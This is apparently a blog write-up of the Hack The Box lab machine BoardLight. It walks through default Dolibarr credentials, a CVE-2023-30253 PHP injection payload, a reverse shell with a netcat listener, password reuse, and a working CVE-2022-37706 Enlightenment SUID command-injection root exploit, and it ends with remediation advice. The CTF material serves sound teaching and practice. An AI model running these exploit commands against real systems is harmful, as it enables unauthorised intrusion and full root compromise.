shadowcat.sh
  • Switching themes needs JavaScript.

HTB: BoardLight

BoardLight is an easy Linux machine featuring a Dolibarr CRM/ERP instance vulnerable to CVE-2023-30253, PHP code injection to gain a foothold, reused database credentials to pivot laterally, and an Enlightenment SUID abuse (CVE-2022-37706) for privesc.

$ cat boardlight.md | grep -E "time|words"15 min read · 3136 words
#cve-2022-37706#cve-2023-30253#default-credentials#dolibarr#enlightenment#ffuf#htb-s05-anomalies#netcat#nmap#password-reuse#path-traversal#php-code-injection#pty-upgrade#reverse-shell#seclists#sudo-abuse#suid-abuse

Boardlight Avatar

TL;DR#

IPs#

Hack The Box assigned the IP address 10.10.11.11 for Boardlight. I will use 10.10.4.4 for my Kali throughout this writeup, please change to your own IP.

Kill Chain#

Dolibarr 17.0.0 ➔ Default Credentials ➔ PHP Code Injection: CVE-2023-30253 ➔ www-data ➔ Password Reuse (conf.php) ➔ larissa ➔ Enlightenment SUID Abuse: CVE-2022-37706 ➔ root

Reconnaissance & Enumeration#

TCP Scan: nmap#

My nmap scan lists two open TCP ports, 22/ssh and 80/http running Apache 2.4.41:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/boardlight]
└─$ nmap -sC -sV -p- --min-rate 10000 10.10.11.11
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-21 17:56 UTC
Nmap scan report for 10.10.11.11
Host is up (0.041s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.52 seconds
nmap — cheatsheet reference
Port scanning Open cheatsheet : Port scanning
  • -sC runs scripts scan, -sV detects service versions, -p- scans all ports, and --min-rate 10000 sets the minimum packet sending speed.

Website: Port 80#

The website on port 80/http is a cybersecurity landing page:

The footer shows a mail address info@board.htb revealing the domain:

BoardLight Website Footer

I also notice there is a contact page, so the website is serving php:

Content Enumeration: feroxbuster#

feroxbuster confirms that php is available too, but adds nothing new:

Subdomain Fuzzing: ffuf#

ffuf finds the subdomain crm.board.htb via vhost-fuzzing:

ffuf — cheatsheet reference
Content & virtual-host discovery Open cheatsheet : Content & virtual-host discovery
seclists — cheatsheet reference
The arsenal — SecLists Open cheatsheet : The arsenal — SecLists
  • -u specifies the target URL, -H sets the Host header for fuzzing, -w provides the wordlist, -mc all matches all HTTP response codes, and -ac automatically filters out false positives.

I write both the found domain and subdomain to my /etc/hosts for easy usage:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/boardlight]
└─$ echo "10.10.11.11 board.htb crm.board.htb" | sudo tee -a /etc/hosts

Initial Foothold#

Dolibarr 17.0.0: crm.board.htb#

The newly discovered subdomain crm.board.htb hosts an instance of Dolibarr, which is an open source ERP/CRM software. I can see the running version 17.0.0 directly on the login page:

BoardLight Dolibarr

Default Credentials#

I found a forum post mentioning default credentials on fresh installations:

BoardLight Dolibarr Default Credentials

  • Username: admin
  • Password: admin

Logged in! I’m now authenticated as admin and have access to the Dolibarr panel:

BoardLight Dolibarr Admin

PHP Code Injection: CVE-2023-30253#

Searching for known CVEs I find that Dolibarr ≤ 17.0.0 is vulnerable against CVE-2023-30253. Dolibarr sanitizes CMS content to block PHP execution. The filter checks for the literal string <?php and rejects it. The check itself is case-insensitive; but PHP’s parser is not. Sending payloads like <?PHP system('id'); ?> bypasses that filter and executes remotely.

At the time my writeup is published there are multiple PoCs out in the wild. I clone and test the one from nikn0laty:

Executing the exploit should establish a reverse shell back to my kali:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/boardlight/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253]
└─$ python3 exploit.py http://crm.board.htb admin admin 10.10.4.4 443
[*] Trying authentication...
[**] Login: admin
[**] Password: admin
[*] Trying created site...
[*] Trying created page...
[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection

Reverse Shell: www-data#

I set up a netcat listener on port 443 to catch it. I wrap it with rlwrap to add command history, arrow keys, and tab-completion to the reverse shell, much more usable than plain nc alone:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/boardlight]
└─$ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.4.4] from (UNKNOWN) [10.10.11.11] 59396
bash: cannot set terminal process group (872): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$
netcat — cheatsheet reference
Listeners & reverse shells Open cheatsheet : Listeners & reverse shells
  • -c clears the line before readline, -A adds input to history regardless of duplicates, and -r uses raw mode for special characters.

Exploit works fine, I’m in! rlwrap already makes my connection more usable, but the remote shell itself is still limited. Let me stabilize and upgrade it to have a proper bash shell experience:

bash
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<te$ python3 -c 'import pty; pty.spawn("/bin/bash")'            
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ ^Z
zsh: suspended  rlwrap -cAr nc -nlvp 443
                                                                                                                                                            
┌──(kali㉿shadowcat-[~/htb/writeups/boardlight/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253]
└─$ stty raw -echo; fg  
[1]  + continued  rlwrap -cAr nc -nlvp 443
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ export TERM=xterm-256color
<b/htdocs/public/website$ export TERM=xterm-256color            
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ stty rows 40 columns 120
stty rows 40 columns 120
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$
netcat — cheatsheet reference
Listeners & reverse shells Open cheatsheet : Listeners & reverse shells
pty-upgrade — cheatsheet reference
Upgrading to a real PTY Open cheatsheet : Upgrading to a real PTY
  • python3 -c 'import pty; pty.spawn("/bin/bash")' spawns an interactive bash shell. Press Ctrl+Z to place the shell in background afterwards.
  • stty raw -echo disables echo and puts the terminal in raw mode so special characters (Ctrl+C, arrow keys, etc.) work properly; fg brings the reverse shell back.
  • export TERM=xterm-256color tells bash to use a proper terminal type with color support.
  • stty rows 40 columns 120 sets the terminal size so text doesn’t wrap awkwardly.

After my shell is stable I run a short id check which reveals the service account serving Dolibarr is www-data:

bash
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Database Credentials: conf.php#

I will have a look into the configuration file from Dolibarr hunting for credentials:

The database configuration shows Dolibarr uses a MySQLi database to store content and reveal used credentials:

  • Username: dolibarrowner
  • Password: serverfun2$2023!!

User Discovery: /home#

Let’s see what other users I can find, so checking /home lists a user called larissa, but I have no permission to access her folder:

bash
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ cd /home
www-data@boardlight:~/home$ ls -al /home
ls -al /home
total 12
drwxr-xr-x  3 root    root    4096 May 17  2024 .
drwxr-xr-x 19 root    root    4096 May 17  2024 ..
drwxr-x--- 15 larissa larissa 4096 May 17  2024 larissa
www-data@boardlight:/home$ cd larissa
cd larissa
bash: cd: larissa: Permission denied

Lateral Movement#

Password Reuse: larissa#

But what if I reuse the found database password, maybe she was lazy and used the same password for her account, too? Let’s try to connect via ssh and reuse the password:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/boardlight]
└─$ ssh larissa@board.htb
The authenticity of host 'board.htb (10.10.11.11)' can't be established.
ED25519 key fingerprint is SHA256:xngtcDPqg6MrK72I6lSp/cKgP2kwzG6rx2rlahvu/v0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'board.htb' (ED25519) to the list of known hosts.
larissa@board.htb's password: serverfun2$2023!!

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

larissa@boardlight:~$

She indeed was lazy! I’m now logged in via ssh as larissa:

User Flag#

I quickly harvest the user flag:

bash
larissa@boardlight:~$ cat user.txt
4ffa7f00a197b075530b5c0f2362e9bb

Privilege Escalation#

Sudo Privileges: sudo -l#

The first command I’ll always run after moving laterally is sudo -l to check if the user got any sudo permissions. Sadly larissa has none:

bash
larissa@boardlight:~$ sudo -l
Sorry, user larissa may not run sudo on localhost.
sudo-abuse — cheatsheet reference
The holy trinity Open cheatsheet : The holy trinity

Enlightenment SUID Abuse: CVE-2022-37706#

Next, I’ll look for SUID binaries — executables running as root that might be exploitable. Let me scan the system for anything with the setuid bit set:

suid-abuse — cheatsheet reference
The holy trinity Open cheatsheet : The holy trinity

Interesting! Enlightenment is an open source X11 window manager. Let me check what version is installed:

bash
larissa@boardlight:~$ dpkg -l | grep enlightenment
hi  enlightenment                          0.23.1-4                            amd64        X11 window manager based on EFL
hi  enlightenment-data                     0.23.1-4                            all          X11 window manager based on EFL - run time data files
larissa@boardlight:~$ enlightenment --version
ESTART: 0.00001 [0.00001] - Begin Startup
ESTART: 0.00129 [0.00129] - Signal Trap
ESTART: 0.00136 [0.00007] - Signal Trap Done
ESTART: 0.00308 [0.00172] - Eina Init
ESTART: 0.00598 [0.00289] - Eina Init Done
ESTART: 0.00612 [0.00014] - Determine Prefix
ESTART: 0.00712 [0.00100] - Determine Prefix Done
ESTART: 0.00718 [0.00007] - Environment Variables
ESTART: 0.00724 [0.00006] - Environment Variables Done
ESTART: 0.00729 [0.00005] - Parse Arguments
Version: 0.23.1
E: Begin Shutdown Procedure!

After a web search I find that this version of Enlightenment 0.23.1 is vulnerable to CVE-2022-37706, a local privilege escalation flaw in the enlightenment_sys SUID binary. The bug is in how the binary validates mount paths. It doesn’t properly sanitize pathnames that start with /dev/...

The enlightenment_sys binary runs as root and constructs mount commands with user-supplied paths. When I pass /dev/../tmp/;/tmp/shadowcat to the binary, the path traversal logic resolves it. The /dev/.. part traverses back to /, then navigates into /tmp. So the path effectively becomes /tmp/;/tmp/shadowcat.

So I’ll replicate the exploit manually to show exactly how it works. First, I need to create the directory structure:

bash
larissa@boardlight:~$ mkdir /tmp/net
larissa@boardlight:~$ mkdir -p "/tmp/;/tmp/shadowcat"
larissa@boardlight:~$ echo "/bin/bash -p" > /tmp/shadowcat
larissa@boardlight:~$ chmod +x /tmp/shadowcat
larissa@boardlight:~$ ls -al | find "/tmp/;"
/tmp/;
/tmp/;/tmp
/tmp/;/tmp/shadowcat

Now I craft and execute the exploit:

bash
larissa@boardlight:~$ /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/shadowcat" /tmp///net
mount: /dev/../tmp/: can't find in /etc/fstab.
root@boardlight:/home/larissa#

The exploit works! I’m root now! Let me confirm:

bash
root@boardlight:/home/larissa# id
uid=0(root) gid=0(root) groups=0(root),4(adm),1000(larissa)
root@boardlight:/home/larissa# cd /root
root@boardlight:/root# ls -al
total 44
drwx------  8 root root    4096 Nov 21 22:53 .
drwxr-xr-x 19 root root    4096 May 17  2024 ..
lrwxrwxrwx  1 root root       9 May 16  2024 .bash_history -> /dev/null
-rw-r--r--  1 root root    3106 Dec  5  2019 .bashrc
drwx------  6 root root    4096 May  2  2024 .cache
drwx------  7 root root    4096 Sep 17  2023 .config
drwx------  3 root root    4096 Sep 17  2023 .dbus
drwxr-xr-x  3 root root    4096 Sep 17  2023 .local
lrwxrwxrwx  1 root root       9 May 16  2024 .mysql_history -> /dev/null
-rw-r--r--  1 root root     161 Dec  5  2019 .profile
drwx------  2 root larissa 4096 Sep 17  2023 .run
-rw-r-----  1 root root      33 Nov 21 22:53 root.txt
drwxr-xr-x  3 root root    4096 Sep 17  2023 snap

Root Flag#

BoardLight is pwned and I catch the root flag:

bash
root@boardlight:/root# cat root.txt
a78d034d53f9716424644f8653e1c466

Pwned#

BoardLight Pwned

Vulnerabilities#

Beyond root, let me summarize which vulnerabilities I found and used on BoardLight:

Vulnerabilities Summary#

vulnerabilities
VulnerabilityCVE / CWESeverityRoot CauseReal-World Impact
Dolibarr Default CredentialsCWE-1392CriticalInstaller allows admin:admin to persist, no forced password change on first loginUnauthenticated CRM access, full admin privileges
PHP Code InjectionCVE-2023-30253 / CWE-94HighFilter checks <?php case-insensitive but PHP parser is case-sensitive; <?PHP bypasses filterRCE as www-data, CMS injection, arbitrary file write
Database Credentials: conf.phpCWE-256MediumDatabase password in conf.php with world-readable permissions (0644), no getenv() function availableDB credential disclosure, direct database access, lateral movement fuel
Password Reuse: larissaCWE-521Highdolibarrowner DB password reused for larissa user accountHorizontal escalation from www-data to user larissa via ssh
Enlightenment SUID AbuseCVE-2022-37706 / CWE-22Highenlightenment_sys SUID binary fails to validate mount paths (/dev/../tmp/; traversal bypass)Local privilege escalation to root, full system compromise

Remediation#

If I were lazy larissa or the owner of this machine, these are my quick steps to mitigate the complete Kill Chain:

Change Dolibarr Default Credentials (CWE-1392)#

Change the default admin password immediately via panel or directly in the database:

bash
root@boardlight:~# mysql dolibarr -e "SELECT login, pass_crypted FROM llx_user WHERE login = 'admin';"
+-------+--------------------------------------------------------------+
| login | pass_crypted                                                 |
+-------+--------------------------------------------------------------+
| admin | $2y$10$gIEKOl7VZnr5KLbBDzGbL.YuJxwz5Sdl5ji3SEuiUSlULgAhhjH96 |
+-------+--------------------------------------------------------------+
root@boardlight:~# read -sp "Enter new password: " password && echo "" && mysql dolibarr -e "UPDATE llx_user SET pass_crypted = '$(php -r "echo password_hash('$password', PASSWORD_BCRYPT);")' WHERE login = 'admin';" && unset password
Enter new password:
root@boardlight:~# mysql dolibarr -e "SELECT login, pass_crypted FROM llx_user WHERE login = 'admin';"
+-------+--------------------------------------------------------------+
| login | pass_crypted                                                 |
+-------+--------------------------------------------------------------+
| admin | $2y$10$waecHkO1wOy9Lx2eqx7a/uxX8jHlKIwpPSAnv8WP0hY034isXMcx. |
+-------+--------------------------------------------------------------+

Updating Dolibarr (CVE-2023-30253)#

Prevent PHP code injection by updating Dolibarr > 17.0.1 which fixes CVE-2023-30253.

Restrict Database Credentials: conf.php (CWE-256)#

As Dolibarr 17.0.0 needs the configuration file to function properly and does not support the getenv() function, I can only restrict file permissions here:

bash
root@boardlight:~# ls -al /var/www/html/crm.board.htb/htdocs/conf/conf.php
-rw-r--r-- 1 www-data www-data 1736 May 17  2024 /var/www/html/crm.board.htb/htdocs/conf/conf.php
root@boardlight:~# chmod 0400 /var/www/html/crm.board.htb/htdocs/conf/conf.php
root@boardlight:~# ls -al /var/www/html/crm.board.htb/htdocs/conf/conf.php
-r-------- 1 www-data www-data 1736 May 17  2024 /var/www/html/crm.board.htb/htdocs/conf/conf.php

New Password for larissa (CWE-521)#

More important is that larissa needs a unique, strong password to prevent password reuse at all. Let me change her password and double check that the hash in /etc/passwd changes:

bash
root@boardlight:~# cat /etc/shadow | grep larissa
larissa:$6$zNTCKunWYdACDiCg$m1Ci3x/AkPAUZM/YzNIXd7Ou89u/hMPPRAboFhbbevXu30s2PNtXcUvO3K1IwKIyxh.UKsonvBxKzDkedo7cw0:19860:0:99999:7:::
root@boardlight:~# passwd larissa
New password: 
Retype new password: 
passwd: password updated successfully
root@boardlight:~# cat /etc/shadow | grep larissa
larissa:$6$Im2vUTfOyITnKDJp$ySiPhBWLATviOEm8wc3VDygYgk6M.R6vjwi7ScSf35NSoqPUOy5s0dLz9afRkF1oHjdXbLuM2xOXidonxCYoJ1:20649:0:99999:7:::
  • It would be wise to implement a strong password policy requiring different credentials across the system. Consider using centralized authentication (LDAP, Active Directory) to enforce complexity and reuse prevention.

Remove Enlightenment SUID (CVE-2022-37706)#

Beside updating Enlightenment 0.23.1 to the latest version, I remove the SUID bit from the vulnerable enlightenment_sys binary and verify:

bash
root@boardlight:~# ls -al /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
-rwsr-xr-x 1 root root 26944 Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
root@boardlight:~# chmod -s /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
root@boardlight:~# ls -al /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
-rwxr-xr-x 1 root root 26944 Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
KEYBOARD SHORTCUTS
/
focus the search
?
this card
←→
previous / next boxwriteups and cheatsheets
↓
at the very end: open the next boxwriteups only
Esc
close search, lightbox, menu, this card
root@shadowcat:~$ man shadowcat | grep -i keys